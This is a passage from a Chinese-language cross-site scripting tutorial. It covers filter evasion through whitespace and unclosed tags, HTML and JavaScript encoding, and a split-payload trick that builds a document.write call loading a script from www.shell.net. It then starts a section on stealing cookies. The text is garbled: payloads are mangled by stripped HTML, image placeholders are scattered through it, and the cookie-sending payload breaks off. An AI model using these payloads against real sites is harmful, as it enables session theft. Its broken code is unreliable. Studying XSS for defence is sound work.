></p><p class=)
4.1.4 不闭合标签
4.1.5 使用回车、Tab等符号截断javascript
而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符
使用回车截断javascript
使用tab截断javascript
4.1.6 利用过滤器规则
Ript>alert(1)t>
4.2
HTML编码
HTML标签中的某些属性值可以使用ASCII方式进行编码:
如把尖括号编码[ < ] -----> html十进制: < html十六进制:<
aaaa
4.3
Javascript编码
js提供了 3 种字符编码的策略:
· jsunicode编码,例如“e”编码为“\u0065”
· js十六进制,例如“e”编码为“\x65”
· js八进制,例如“e”编码为“\145”
4.4
跨站拆分法
安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。
幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。
上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。
document.write(' src=//www.shell.net/1.js>')
然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。
05
XSS漏洞利用
点击添加图片描述(最多60个字)
5.1
窃取Cookie
点击添加图片描述(最多60个字)
5.1.1 读取Cookie
直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。
点击添加图片描述(最多60个字)
5.1.2 发送Cookie
5.1.2.1 利用img标签(最常用)
只需将alert(1)替换为以下Payload:
var img=document.createElement("img" alt="跨站脚本攻击(四)(跨站脚本攻击有哪些)">